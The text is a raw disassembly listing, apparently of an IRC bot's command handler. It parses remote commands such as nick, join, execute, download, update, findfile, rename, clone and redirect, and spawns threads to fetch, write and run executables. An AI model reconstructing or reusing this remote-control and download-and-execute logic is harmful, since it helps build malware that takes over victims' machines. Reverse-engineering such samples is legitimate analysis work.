		jz	short loc_408919
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_r	; "c_r"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4089DE


loc_408919:				; CODE XREF: sub_4021E5+6711j
		cmp	[ebp+var_2D4], 0
		jz	loc_4089D6
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_2480],	eax
		cmp	[ebp+var_2480],	0
		jz	loc_4089D6
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		test	eax, eax
		jle	short loc_4089D6
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		cmp	eax, 400h
		jge	short loc_4089D6
		push	[ebp+var_2480]
		push	offset aS_13	; "%s\r\n"
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		push	dword_454624[eax]
		call	sub_40AFBE
		add	esp, 0Ch
		push	[ebp+var_2480]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset dword_443C3C
		call	sub_417472
		add	esp, 0Ch


loc_4089D6:				; CODE XREF: sub_4021E5+673Bj
					; sub_4021E5+6768j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4089DE:				; CODE XREF: sub_4021E5+672Ej
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_mode	; "c_mode"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_408A1C
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_m	; "c_m"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_408AF8


loc_408A1C:				; CODE XREF: sub_4021E5+6814j
		cmp	[ebp+var_2D4], 0
		jz	loc_408AF0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_2484],	eax
		cmp	[ebp+var_2484],	0
		jz	short loc_408A6C
		push	[ebp+var_2484]
		push	offset aModeS_0	; "MODE	%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_408A6C:				; CODE XREF: sub_4021E5+686Bj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		test	eax, eax
		jle	short loc_408AF0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		cmp	eax, 400h
		jge	short loc_408AF0
		lea	eax, [ebp+var_858]
		push	eax
		push	offset aS_14	; "%s\r\n"
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		push	dword_454624[eax]
		call	sub_40AFBE
		add	esp, 0Ch
		push	[ebp+var_2484]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset dword_443C74
		call	sub_417472
		add	esp, 0Ch


loc_408AF0:				; CODE XREF: sub_4021E5+683Ej
					; sub_4021E5+689Cj ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_408AF8:				; CODE XREF: sub_4021E5+6831j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_nick	; "c_nick"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_408B36
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_n	; "c_n"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_408BEA


loc_408B36:				; CODE XREF: sub_4021E5+692Ej
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	offset aNickS_2	; "NICK	%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		test	eax, eax
		jle	short loc_408BE2
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		cmp	eax, 400h
		jge	short loc_408BE2
		lea	eax, [ebp+var_858]
		push	eax
		push	offset aS_15	; "%s\r\n"
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		push	dword_454624[eax]
		call	sub_40AFBE
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset dword_443CAC
		call	sub_417472
		add	esp, 0Ch


loc_408BE2:				; CODE XREF: sub_4021E5+6987j
					; sub_4021E5+69A1j
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_408BEA:				; CODE XREF: sub_4021E5+694Bj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_join	; "c_join"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_408C28
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_j	; "c_j"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_408CC2


loc_408C28:				; CODE XREF: sub_4021E5+6A20j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	offset aJoinSS_3 ; "JOIN %s %s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		test	eax, eax
		jle	short loc_408CBA
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		cmp	eax, 400h
		jge	short loc_408CBA
		lea	eax, [ebp+var_858]
		push	eax
		push	offset aS_16	; "%s\r\n"
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		push	dword_454624[eax]
		call	sub_40AFBE
		add	esp, 0Ch


loc_408CBA:				; CODE XREF: sub_4021E5+6A86j
					; sub_4021E5+6AA0j
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_408CC2:				; CODE XREF: sub_4021E5+6A3Dj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_part	; "c_part"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_408D00
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_p	; "c_p"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_408D8D


loc_408D00:				; CODE XREF: sub_4021E5+6AF8j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	offset aPartS_1	; "PART	%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		test	eax, eax
		jle	short loc_408D85
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		cmp	eax, 400h
		jge	short loc_408D85
		lea	eax, [ebp+var_858]
		push	eax
		push	offset aS_17	; "%s\r\n"
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 234h
		push	dword_454624[eax]
		call	sub_40AFBE
		add	esp, 0Ch


loc_408D85:				; CODE XREF: sub_4021E5+6B51j
					; sub_4021E5+6B6Bj
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_408D8D:				; CODE XREF: sub_4021E5+6B15j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aUpdate	; "update"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_408DCB
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aUp_0	; "up"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40901E


loc_408DCB:				; CODE XREF: sub_4021E5+6BC3j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	offset dword_4410A0
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_408FD0
		lea	eax, [ebp+var_284C]
		push	eax
		push	104h
		call	near ptr 27E0000h
		nop
		push	0FFh
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		lea	eax, [ebp+var_26A8]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		lea	eax, [ebp+var_2748]
		push	eax
		call	sub_40CAA0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_284C]
		push	eax
		push	offset aSS_exe	; "%s%s.exe"
		lea	eax, [ebp+var_25A8]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		mov	[ebp+var_24A4],	1
		and	[ebp+var_24A0],	0
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_94], 0
		jz	short loc_408E8A
		push	10h
		push	0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		call	sub_4223B0
		add	esp, 0Ch
		mov	[ebp+var_4150],	eax
		jmp	short loc_408E91
; ---------------------------------------------------------------------------


loc_408E8A:				; CODE XREF: sub_4021E5+6C82j
		and	[ebp+var_4150],	0


loc_408E91:				; CODE XREF: sub_4021E5+6CA3j
		mov	eax, [ebp+var_4150]
		mov	[ebp+var_2498],	eax
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_90], 0
		jz	short loc_408EC8
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_90]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_4154],	eax
		jmp	short loc_408ECF
; ---------------------------------------------------------------------------


loc_408EC8:				; CODE XREF: sub_4021E5+6CC6j
		and	[ebp+var_4154],	0


loc_408ECF:				; CODE XREF: sub_4021E5+6CE1j
		mov	eax, [ebp+var_4154]
		mov	[ebp+var_249C],	eax
		movzx	eax, [ebp+var_36F]
		mov	[ebp+var_2494],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_272C],	eax
		push	7Fh
		push	[ebp+var_98]
		lea	eax, [ebp+var_2728]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_248C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2490],	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset dword_443D1C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	1Eh
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_24A8],	eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_272C]
		push	eax
		push	offset byte_418FCD
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_24A8]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_24A8]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_408FB3


loc_408F9E:				; CODE XREF: sub_4021E5+6DCAj
		cmp	[ebp+var_2488],	0
		jnz	short loc_408FB1
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_408F9E
; ---------------------------------------------------------------------------


loc_408FB1:				; CODE XREF: sub_4021E5+6DC0j
		jmp	short loc_408FCE
; ---------------------------------------------------------------------------


loc_408FB3:				; CODE XREF: sub_4021E5+6DB7j
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset dword_443D48
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_408FCE:				; CODE XREF: sub_4021E5:loc_408FB1j
		jmp	short loc_408FE3
; ---------------------------------------------------------------------------


loc_408FD0:				; CODE XREF: sub_4021E5+6C01j
		push	offset dword_443D84
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_408FE3:				; CODE XREF: sub_4021E5:loc_408FCEj
		cmp	[ebp+var_4], 0
		jnz	short loc_409009
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_409009:				; CODE XREF: sub_4021E5+6E02j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40901E:				; CODE XREF: sub_4021E5+6BE0j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aExecute	; "execute"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40905C
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aE	; "e"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_409178


loc_40905C:				; CODE XREF: sub_4021E5+6E54j
		push	44h
		push	0
		lea	eax, [ebp+var_2890]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_2890],	44h
		mov	[ebp+var_2864],	1
		and	[ebp+var_2860],	0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		cmp	eax, 1
		jnz	short loc_4090AC
		mov	[ebp+var_2860],	5


loc_4090AC:				; CODE XREF: sub_4021E5+6EBCj
		cmp	[ebp+var_2D4], 0
		jz	loc_40913D
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_28A4],	eax
		cmp	[ebp+var_28A4],	0
		jz	short loc_40913D
		lea	eax, [ebp+var_28A0]
		push	eax
		lea	eax, [ebp+var_2890]
		push	eax
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		push	[ebp+var_28A4]
		push	0
		nop
		call	near ptr 2790973h
		test	eax, eax
		jnz	short loc_409123
		push	offset unk_443DD8
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_40913D
; ---------------------------------------------------------------------------


loc_409123:				; CODE XREF: sub_4021E5+6F27j
		push	[ebp+var_28A4]
		push	offset dword_443DFC
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_40913D:				; CODE XREF: sub_4021E5+6ECEj
					; sub_4021E5+6EFBj ...
		cmp	[ebp+var_4], 0
		jnz	short loc_409163
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_409163:				; CODE XREF: sub_4021E5+6F5Cj
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_409178:				; CODE XREF: sub_4021E5+6E71j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aFindfile ; "findfile"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4091B6
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aFf	; "ff"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_409320


loc_4091B6:				; CODE XREF: sub_4021E5+6FAEj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	104h
		lea	eax, [ebp+var_2ABC]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		cmp	[ebp+var_2D4], 0
		jz	short loc_40921D
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_2B44],	eax
		cmp	[ebp+var_2B44],	0
		jz	short loc_40921D
		push	[ebp+var_2B44]
		lea	eax, [ebp+var_29B8]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_40921D:				; CODE XREF: sub_4021E5+6FF9j
					; sub_4021E5+7022j
		push	[ebp+var_98]
		push	80h
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_28B0],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_28AC],	eax
		lea	eax, [ebp+var_29B8]
		push	eax
		lea	eax, [ebp+var_2ABC]
		push	eax
		push	offset unk_443E28
		push	200h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_421B90
		add	esp, 14h
		push	0
		push	24h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_28B4],	eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_2B40]
		push	eax
		push	offset word_419B2A
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_28B4]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_28B4]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_4092F0


loc_4092DB:				; CODE XREF: sub_4021E5+7107j
		cmp	[ebp+var_28A8],	0
		jnz	short loc_4092EE
		push	32h
		call	near ptr 27B048Ah
		nop
		jmp	short loc_4092DB
; ---------------------------------------------------------------------------


loc_4092EE:				; CODE XREF: sub_4021E5+70FDj
		jmp	short loc_40930B
; ---------------------------------------------------------------------------


loc_4092F0:				; CODE XREF: sub_4021E5+70F4j
		call	near ptr 27B0F7Fh
		nop
		push	eax
		push	offset unk_443E58
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_40930B:				; CODE XREF: sub_4021E5:loc_4092EEj
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_409320:				; CODE XREF: sub_4021E5+6FCBj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aRename	; "rename"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40935E
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aMv	; "mv"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_409412


loc_40935E:				; CODE XREF: sub_4021E5+7156j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		nop
		call	near ptr 27D082Ah
		test	eax, eax
		jz	short loc_4093B7
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_443EA0
		push	200h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_421B90
		add	esp, 14h
		jmp	short loc_4093D7
; ---------------------------------------------------------------------------


loc_4093B7:				; CODE XREF: sub_4021E5+719Bj
		push	offset dword_443EC4
		call	sub_41A5B6
		pop	ecx
		push	eax
		push	200h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_421B90
		add	esp, 0Ch


loc_4093D7:				; CODE XREF: sub_4021E5+71D0j
		cmp	[ebp+var_4], 0
		jnz	short loc_4093FD
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_4093FD:				; CODE XREF: sub_4021E5+71F6j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_409412:				; CODE XREF: sub_4021E5+7173j
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_94], 0
		jnz	short loc_40942A
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40942A:				; CODE XREF: sub_4021E5+723Bj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aClone_0	; "clone"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_409468
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC	; "c"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4095E7


loc_409468:				; CODE XREF: sub_4021E5+7260j
		push	7Fh
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		lea	eax, [ebp+var_2CA4]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_2B54],	eax
		push	3Fh
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		lea	eax, [ebp+var_2C24]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_90], 0
		jz	short loc_4094EB
		push	3Fh
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_90]
		lea	eax, [ebp+var_2BE4]
		push	eax
		call	sub_421470
		add	esp, 0Ch


loc_4094EB:				; CODE XREF: sub_4021E5+72E6j
		mov	[ebp+var_2B50],	1
		lea	eax, [ebp+var_2C24]
		push	eax
		push	[ebp+var_2B54]
		lea	eax, [ebp+var_2CA4]
		push	eax
		push	offset dword_443EDC
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		push	0
		push	1Fh
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_2CA8]
		push	eax
		push	offset sub_401DEC
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_2B4C]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_409591


loc_40957C:				; CODE XREF: sub_4021E5+73A8j
		cmp	[ebp+var_2B48],	0
		jnz	short loc_40958F
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_40957C
; ---------------------------------------------------------------------------


loc_40958F:				; CODE XREF: sub_4021E5+739Ej
		jmp	short loc_4095AC
; ---------------------------------------------------------------------------


loc_409591:				; CODE XREF: sub_4021E5+7395j
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset dword_443F0C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_4095AC:				; CODE XREF: sub_4021E5:loc_40958Fj
		cmp	[ebp+var_4], 0
		jnz	short loc_4095D2
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_4095D2:				; CODE XREF: sub_4021E5+73CBj
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4095E7:				; CODE XREF: sub_4021E5+727Dj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aDownload ; "download"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_409625
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aDl	; "dl"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_409869


loc_409625:				; CODE XREF: sub_4021E5+741Dj
		push	0FFh
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		lea	eax, [ebp+var_2ECC]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		push	0FFh
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		lea	eax, [ebp+var_2DCC]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		and	[ebp+var_2CC8],	0
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_94], 0
		jz	short loc_409699
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_4158],	eax
		jmp	short loc_4096A0
; ---------------------------------------------------------------------------


loc_409699:				; CODE XREF: sub_4021E5+7497j
		and	[ebp+var_4158],	0


loc_4096A0:				; CODE XREF: sub_4021E5+74B2j
		mov	eax, [ebp+var_4158]
		mov	[ebp+var_2CC4],	eax
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_90], 0
		jz	short loc_4096DD
		push	10h
		push	0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_90]
		call	sub_4223B0
		add	esp, 0Ch
		mov	[ebp+var_415C],	eax
		jmp	short loc_4096E4
; ---------------------------------------------------------------------------


loc_4096DD:				; CODE XREF: sub_4021E5+74D5j
		and	[ebp+var_415C],	0


loc_4096E4:				; CODE XREF: sub_4021E5+74F6j
		mov	eax, [ebp+var_415C]
		mov	[ebp+var_2CBC],	eax
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_8C], 0
		jz	short loc_40971B
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_8C]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_4160],	eax
		jmp	short loc_409722
; ---------------------------------------------------------------------------


loc_40971B:				; CODE XREF: sub_4021E5+7519j
		and	[ebp+var_4160],	0


loc_409722:				; CODE XREF: sub_4021E5+7534j
		mov	eax, [ebp+var_4160]
		mov	[ebp+var_2CC0],	eax
		movzx	eax, [ebp+var_36F]
		mov	[ebp+var_2CB8],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2F50],	eax
		push	7Fh
		push	[ebp+var_98]
		lea	eax, [ebp+var_2F4C]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_2CB0],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2CB4],	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_443F58
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	[ebp+arg_4]
		push	1Dh
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_2CCC],	eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_2F50]
		push	eax
		push	offset byte_418FCD
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_2CCC]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_2CCC]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_409813


loc_4097FE:				; CODE XREF: sub_4021E5+762Aj
		cmp	[ebp+var_2CAC],	0
		jnz	short loc_409811
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_4097FE
; ---------------------------------------------------------------------------


loc_409811:				; CODE XREF: sub_4021E5+7620j
		jmp	short loc_40982E
; ---------------------------------------------------------------------------


loc_409813:				; CODE XREF: sub_4021E5+7617j
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_443F84
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_40982E:				; CODE XREF: sub_4021E5:loc_409811j
		cmp	[ebp+var_4], 0
		jnz	short loc_409854
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_409854:				; CODE XREF: sub_4021E5+764Dj
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_409869:				; CODE XREF: sub_4021E5+743Aj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aRedirect ; "redirect"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4098A7
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aRd	; "rd"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_409A2A


